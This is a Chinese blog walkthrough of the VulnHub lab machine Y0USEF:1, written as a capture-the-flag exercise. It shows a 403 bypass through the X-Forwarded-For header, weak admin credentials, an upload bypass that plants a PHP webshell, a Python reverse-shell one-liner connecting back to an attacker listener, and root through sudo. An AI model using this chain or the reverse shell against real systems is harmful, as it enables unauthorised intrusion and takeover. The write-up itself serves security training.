vulnhub:Y0USEF_vulnhub y0usef-程序员宅基地

技术标签: kali  OSCP  安全  web安全  安全性测试  

一、前言

OSCP-4:主要利用方式:403请求绕过+文件上传绕过+RCE反弹shell

二、靶机信息

    靶场: vulnhub.com

    靶机名称: Y0USEF:1

    难度: 中等

    发布时间: 2020 年 12 月 10 日

    下载地址:https://www.vulnhub.com/entry/y0usef-1,624/

    备注:403bypass是一个坑,文件绕过此处略微简单,

              RCE用一句话木马进行命令执行反弹shell可以再琢磨琢磨

三、虚拟机配置

这次采用的VirtualBox虚拟机,网络连接模式为:NAT模式、DHCP服务:启用、IP地址:自动分配

 

四、信息收集

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

 

2、探测靶机ip端口开放及开放端口的详细服务

└─$ sudo nmap -p- 10.0.2.5 

└─$ sudo nmap -p22,80 10.0.2.5

3、常规扫描目录

└─$ dirsearch -u 10.0.2.5

4、扫描发现,有一个adminstration的目录,进行访问,结果显示权限不足

http://10.0.2.5/adminstration/

5、通过403bypass,通常情况下,出现403的响应码有四种方式可以绕过(旁站访问,路径覆盖,Referer绕过和X-Forwarded-For绕过)这里用X-Forwarded-For: 127.0.0.1即可绕过

五、漏洞利用

6、出现了登录及密码输入框,进行弱口令尝试,admin,admin

7、成果登录进来,但每个页面的请求都需要带上X-Forwarded-For: 127.0.0.1    并发现一处文件上传的地方

8、通过测试,上传文件功能可拿shell,此功能只需小小的绕过,将content-type改为图片属性即可

9、通过测试,传入id参数,返回uid,可判断此处可以RCE。

http://10.0.2.5/adminstration/upload/files/1653921355secid.php?cmd=id

10、通过python反弹shell ,攻击机开启5555端口监听,浏览器访问,shell反弹成功。

http://10.0.2.5/adminstration/upload/files/1653921355secid.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

11、通过反弹的shell,查询id、查询第一个flag:user.txt 

www-data@yousef-VirtualBox:/var/www/html/adminstration/upload/files$ id

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@yousef-VirtualBox:/var/www/html/adminstration/upload/files$ cd /home

cd /home

www-data@yousef-VirtualBox:/home$ ls

ls

user.txt

yousef

www-data@yousef-VirtualBox:/home$ cat user.txt 

cat user.txt

c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

12、判断flag是通过base64加密,解密后发现是ssh登录的账号密码

ssh :

user : yousef

pass : yousef123

六、提权

13、既然是SSH,于是进行ssh登录,登陆之后,查看了sudo,发现所有的操作都可进行

14、直接 sudo -s   提到 root权限,并且验证ip(ip a) 归属于靶机。

15、最后提取root.txt falg ,同解base64即可

WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx

此靶场到此结束!~

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cjstang/article/details/125474420

智能推荐

含光热电站的冷、热、电综合能源系统优化调度【节点网络】(Matlab代码实现)_含综合能源的电网优化调度仿真-程序员宅基地

文章浏览阅读366次。光热电站的结构如图 2-2 所示。与传统的火电机组发电原理类似,光热电站的热循环系统通过传热流体传递和交换热量,产生高温蒸汽驱动汽轮机,实现热能到电能的能量转换。由于光热电站的热循环系统和储热装置的配置与传统火电机组类似,使得光热发电具有与传统火电机组相当的调节特性,可以促进可再生能源的并网消纳。在“碳中和,碳达峰”的背景下,为挖掘光热电站的供能潜力,提高能源系统的能源利用效率以及降低系统的碳排放总量,本文提出将光热电站引入综合能源系统中,研究光热电站的不同供能模式及其对综合能源系统优化调度的影响。_含综合能源的电网优化调度仿真

基于HTML5的可预览多图片Ajax上传-程序员宅基地

文章浏览阅读3.8k次。基于HTML5的可预览多图片Ajax上传by zhangxinxu from http://www.zhangxinxu.com本文地址:http://www.zhangxinxu.com/wordpress/?p=1923一、关于图片上传什么什么的在XHTML的时代,我们使用HTML file控件上传图片一次只能上传一张。要一次上传多图,做法是借助于flash。例如s

MySQL安装配置教程(保姆级,包含环境变量的配置)适合小白_mysqlhome怎么配置-程序员宅基地

文章浏览阅读3.3w次,点赞109次,收藏772次。从0到1教你如何下载MySQL,并安装配置环境变量,一看就懂,适合小白_mysqlhome怎么配置

高性能网络服务器编程:为什么linux下epoll是最好,Netty要比NIO.2好?_netty epoll 比较-程序员宅基地

文章浏览阅读643次。 基本的IO编程过程(包括网络IO和文件IO)是,打开文件描述符(windows是handler,java是stream或channel),多路捕获(Multiplexe,即select和poll和epoll)IO可读写的状态,而后可以读写的文件描述符进行IO读写,由于IO设备速度和CPU内存比速度会慢,为了更好的利用CPU和内存,会开多线程,每个线程读写一个文件描述符。  但C10K问题,让我们..._netty epoll 比较

VB编程:VB支持XP256色的ico图标工具ArtIcons Pro附序列号-60_彭世瑜_新浪博客-程序员宅基地

文章浏览阅读549次。【转载】VB支持XP256色的ico图标工具ArtIcons Pro序列号:ArtIcons专业版是一款具有渐层着色的功能专门用于制作图标的工具,下面是小编为大家搜罗的一些ArtIcons的序列号,需要的可以看一下:se7994t6z6se2tjuggb6seypqveabu ..._vb256图标

Jarvis OJ - ALL CHALLENGS_jarvisoj dsa-程序员宅基地

文章浏览阅读404次。作为一个安全菜鸟正在慢慢入门,在了解完基本的CTF知识后就开始刷题找知识点的感觉了虽然并不想写这篇博客,因为大部分题的思路都是看人家的writeup,并且人家写的比我更详细,但一些题目有很多知识点需要记住,所以就有了这篇博客WEB篇LOCALHOST看解决数量就知道没啥可说的;对于ip可控的2个头部一个是x-forwarded-for,一个是client-ipx-forwarded-for: X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器._jarvisoj dsa

随便推点

Minio 对象存储使用简单入门_minio endpoint-程序员宅基地

文章浏览阅读1.3w次,点赞15次,收藏51次。官方文档:MinIO Quickstart Guide| Minio中文文档1、简介Minio 是一个基于Apache License v2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等,而一个对象文件可以是任意大小,从几kb到最大5T不等。Minio是一个非常轻量的服务,可以很简单的和其他应用的结合,类似 NodeJS, Redis 或者 MySQL。2、容器安装..._minio endpoint

Linux: 两个USB摄像头的数据采集问题_linux上接两个摄像头-程序员宅基地

文章浏览阅读6.8k次。引子: 课题需要,同时采集两个摄像头数据,频率不高,但要同时。中间遇到的问题,唉一言难尽啊!为了图省事使用UVC摄像头,但是板子是USB1.1接口的,故挑选兼容USB1.1的UVC驱动的摄像头,最终选定两个301V芯片的摄像头,先使用一个摄像头,因频率不高,将采集频率设到了最_linux上接两个摄像头

大学生图书馆网页设计模板代码 DIV布局书店网页作业成品 学校书籍网页制作模板 学生简单书籍阅读网站设计成品_学校网站设计-程序员宅基地

文章浏览阅读187次。 校园网页设计 、学校班级网页制作、学校官网、小说书籍、等网站的设计与制作。️HTML静态网页设计作业使用dreamweaver制作,采用DIV+CSS布局,共有多个页面,首页使用CSS排版比较丰富,色彩鲜明有活力。顶部导航及底部区域背景色为100%宽度,主体内容区域宽度 一套优质的网页设计应该包含 (具体可根据个人要求而定)网站布局方面:计划采用目前主流的、能兼容各大主流浏览器、显示效果稳定的浮动网页布局结构。网站程序方面:计划采用最新的网页编程语言HTML5+CSS3+JS程序语_学校网站设计

Java序列化与反序列化最全详解_java序列化与反序列化全讲解 mocas_wang-程序员宅基地

文章浏览阅读2.9k次,点赞2次,收藏9次。什么是序列化和反序列化?序列化:序列化就是将 java对象 转化为字节序列的过程。序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。 为什么要把Java对象序列化呢?因为序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。注意:序列化是为了在传递和保存对象时,为了保证对象的完整性和可传递性。将对象转为有序的字节流,以便在网上传输或者保存在本地文件中。反序列化:反序列化就是将 字_java序列化与反序列化全讲解 mocas_wang

m4_forloop m4-程序员宅基地

文章浏览阅读4.7k次。<!--pre.display {font-family:inherit}pre.format {font-family:inherit}pre.smalldisplay {font-family:inherit; font-size:smaller}pre.smallformat {font-family:inherit; font-size:smalle

spring-@value属性赋值_@value integer-程序员宅基地

文章浏览阅读520次。1、@value给属性赋值,使用方式有三种:基本数值SpEL; #{}写${};取出配置文件【properties】中的值(在运行环境变量里面的值)使用如下: @Value("张三") private String name; @Value("#{20-2}") private Integer age; @Value("${person.nickName}") private String nickName;其中第三种需要增加外部配置文件,需要使用@PropertySource_@value integer